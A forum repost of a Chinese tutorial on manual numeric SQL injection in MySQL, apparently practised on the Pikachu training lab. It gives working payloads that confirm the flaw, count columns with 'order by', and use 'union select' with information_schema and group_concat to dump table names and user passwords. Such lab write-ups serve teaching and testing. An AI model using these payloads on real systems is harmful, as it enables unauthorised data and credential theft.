搜索

[20340] 2020-06-26_Mysql数字型手工注入

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-06-26_Mysql数字型手工注入 M y s q l 数 字 型 手 工 注 入 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 6 - 2 6 以 下 文 章 来 源 于 P t T e a m   ， 作 者 H o l y m a n         本 文 纯 粹 整 理 以 前 的 旧 笔 记 整 理 出 来 的 文 章 ， 将 简 单 粗 暴 的 记 录 M y s q l 常 用 各 类 型 注 入 漏 洞 的 利 用 和 验 证 方 法 。 0 1 数 字 型 注 入 _ 注 入 点 确 定 一 个 常 见 的 查 询 功 能 页 面 测 试 查 看 P H P 源 码 的 核 心 代 码 解 释 ： 1 .   红 色 箭 头 的 i d 就 是 p o s t 请 求 包 里 面 取 参 参 数 2 .   黄 色 部 分 就 是 传 入 数 据 库 的 查 询 语 句 明 显 传 入 参 数 完 全 没 有 做 过 滤 当 加 入 一 个 特 殊 字 符 进 行 查 询 的 时 候 ， M y s q l 查 询 语 句 会 变 成 这 样 P t T e a m   . P t - T e a m 目 前 主 攻 w e b 渗 透 、 网 络 攻 防 ， 分 享 日 常 渗 透 测 试 笔 记 ， 为 响 应 国 家 打 造 网 络 安 全 强 国 而 共 同 努 力 ， 共 同 奋 斗 ！ s e l e c t   u s e r n a m e , e m a i l   f r o m   m e m b e r   w h e r e   i d = 1 '
导 致 数 据 库 的 报 错 输 入 第 一 个 测 试 p a y l o a d 输 入 p a y l o a d 后 ， 最 终 传 入 数 据 库 的 查 询 语 句 如 下 因 为 语 句 是 成 立 的 ， 所 以 能 够 正 常 返 回 查 询 信 息 输 入 第 二 个 测 试 p a y l o a d 传 入 数 据 库 查 询 语 句 因 为 我 使 用 a n d 连 接 查 询 ， 所 以 只 要 a n d 前 后 有 一 处 不 成 立 都 无 法 查 询 到 信 息 明 显 1 不 等 于 2 ， 语 句 不 成 立 ， 所 有 没 有 办 法 查 询 出 数 据 1   a n d   1 = 1 s e l e c t   u s e r n a m e , e m a i l   f r o m   m e m b e r   w h e r e   i d = 1   a n d   1 = 1 1   a n d   1 = 2 s e l e c t   u s e r n a m e , e m a i l   f r o m   m e m b e r   w h e r e   i d = 1   a n d   1 = 2
到 这 一 步 可 以 确 定 在 参 数 1 后 面 执 行 的 s q l 语 句 可 以 成 功 执 行 ， 注 入 点 确 定 。 0 2 漏 洞 利 用 _ 获 取 基 本 信 息 利 用 o r d e r   b y 判 断 当 前 字 段 数 当 o r d e r   b y 为 2 正 常 返 回 ， o r d e r   b y 为 3 时 错 误 ， 确 定 字 当 前 段 数 为 2 技 巧 ： 1   o r d e r   b y   2 1   o r d e r   b y   3
可 以 采 用 二 分 法 快 速 判 断 当 前 字 段 数 ， 如 1 .   直 接 猜 测 当 前 字 段 数 为 1 0 2 .   当 服 务 器 返 回 正 常 查 询 信 息 证 明 当 前 字 段 数 > = 1 0 ， 可 以 继 续 加 5 用 1 5 来 猜 测 当 前 字 段 数 3 .   相 反 ， 当 服 务 器 返 回 其 他 时 ， 证 明 当 前 字 段 数 < 1 0 ， 可 以 减 去 5 用 5 来 猜 测 当 前 字 段 数 查 看 是 否 存 在 回 显 位 置 利 用 漏 洞 查 看 当 前 数 据 库 和 版 本         M Y S Q L 数 据 库 版 本 5 . 0 以 上 有 一 个 i n f o r m a t i o n _ s c h e a m 表 存 着 关 于 M y S Q L 服 务 器 所 维 护 的 所 有 其 他 数 据 库 的 信 息 . 如 数 据 库 名 , 数 据 库 的 表 , 表 栏 的 数 据 类 型 与 访 问 权 限 等 。 0 3 漏 洞 利 用 _ 获 取 数 据 库 内 容 利 用 联 合 查 询 查 看 当 前 数 据 库 的 所 有 数 据 表 1   u n i o n   s e l e c t   1 , 2 1   u n i o n   s e l e c t   d a t a b a s e ( ) , v e r s i o n ( ) 1   u n i o n   s e l e c t   g r o u p _ c o n c a t ( t a b l e _ n a m e ) , 2   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   ( t a b l e _ s c h e m a = ' p i k a c h u ' )
解 释 ： 使 用 g r o u p _ c o n c a t 函 数 让 数 据 显 示 在 一 列 。 明 显 表 u s e r s 是 核 心 数 据 ， 查 看 u s e r s 表 的 所 有 表 头 继 续 查 看 u s e r s 表 里 u s e r n a m e 和 p a s s w o r d 的 内 容 成 功 爆 出 管 理 员 密 文 密 码 ， 平 台 解 密 1   u n i o n   s e l e c t   g r o u p _ c o n c a t ( c o l u m n _ n a m e ) , 2   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   ( t a b l e _ n a m e = ' u s e r s ' ) 1   u n i o n   s e l e c t   g r o u p _ c o n c a t ( u s e r n a m e ) , g r o u p _ c o n c a t ( p a s s w o r d )   f r o m   u s e r s
！ 声 明 ： 本 文 章 纯 属 于 个 人 学 习 笔 记 ， 仅 提 供 学 习 交 流 ， 切 勿 用 于 违 法 犯 罪 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理